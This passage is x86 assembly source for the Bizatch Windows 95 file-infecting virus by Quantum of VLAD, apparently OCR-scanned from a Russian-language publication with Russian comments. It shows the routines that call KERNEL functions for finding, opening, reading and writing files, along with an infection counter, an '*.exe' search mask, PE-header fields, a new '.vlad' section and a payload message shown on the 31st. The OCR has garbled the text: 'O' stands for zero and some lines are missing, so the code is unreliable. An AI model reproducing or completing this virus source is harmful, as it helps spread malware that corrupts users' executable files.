;3апишем в стек значение для получения текущей
директории и вызовем KERNEL

push OBFF77744h

. Установка текущей директории


директории и вызовем KERNEL

push OBFF7771Dh

jmp [ebp+offset kern]

[Получение времени и даты
GetTime:

Проверим, какой KERNEL работает
cmp [ebp+offset kern],OBFF93B95h
jnz gettimekern2

;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL

push OBFF9DOB6h

jmp [ebp+offset kern]
gettimekern2:

;3апишем в стек значение для получения
;времени и даты и вызовем KERNEL

push OBFF9D-l4Eh

;Вывод сообщения
MsgBox:

. Запишем в стек значение для вывода сообщения и вызовем KERNEL
push OBFF638D9h
jmp [ebp+offset kern]


FindFile:


push OBFF77893h

jmp [ebp+offset kern]


FindNext:

;3апишем в стек значение для поиска
[следующего файла и вызовем KERNEL

push OBFF778CBh

[Открытие/создание файла
CreateFile:


;и вызовем KERNEL

push OBFF77817h

jmp [ebp+offset kern]


SetFilePointer:

;3апишем в стек значение для установки
. указателя чтения/записи файла и вызовем KERNEL

push OBFF76FAOh

;Чтение из файла
ReadFile:

;3апишем в стек значение для чтения из файла и вызовем KERNEL
push OBFF75806h
jmp [ebp+offset kern]

;3апись в файл
WriteFile:



jmp [ebp+offset kern]

;3акрытие файла
CloseFile:

;3апишем в стек значение для закрытия файла и вызовем KERNEL
push OBFF7BC72h
jmp [ebp+offset kern]

;Счетчик заражений
countinfect db 0

Используется для поиска файлов
win32datathang:

fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0

resv dd 0,0

fullname db 256 dup (0)

realname db 256 dup (0)

;Имя сообщения, выводимого 31-го числа
boxtitle db "Bizatch by Quantum / VLAD",0

. -Сообщение, выводимое 31-го числа
"The taste of fame just got tastier!",Odh

"VLAD Australia does it again with the world"s first Win95 Virus"

db Odh. Odh

"From the old school to the new. ". Odh. Odh

db 9,"Metabolis",Odh

"Qark",Odh

"Darkman",Odh

db 9,"Quantum",Odh

"CoKe",0
messagetostupidavers db "Please note: the name of this virus is [Bizatch]"

db "written by Quantum of VLAD",0


orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdirl db 256 dup (0)

Используется для смены директории
".",0

Используется для получения времени/даты
systimestruct:

dw 0,0,0
day dw 0

dw 0,0,0,0

;Индекс для поиска файлов
searchhandle dd О

;Маска для поиска
fname db "*. exe",0

; Описатель открытого файла

;Смещение РЕ-заголовка в файле
peheaderoffset dd О

[Смещение таблицы объектов
ObjectTableoffset dd О

[Количество записанных/считанных байт при работе с файлом
bytesread dd О

. Новый объект
newobject:

oname db ". vlad",0,0,0

RVA dd 0

physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h,0,0,OCOh

Данные, необходимые для заражения файла


cputype dw 0
numObj dw 0
db 3*4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4*4 dup (0)
entrypointRVA dd 0
db 3*4 dup (0)
objalign dd 0
filealign dd 0
db 4*4 dup (0)
imagesize dd 0
headersize dd 0

;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов

db -lOOOh dup (0)
ends
end vstart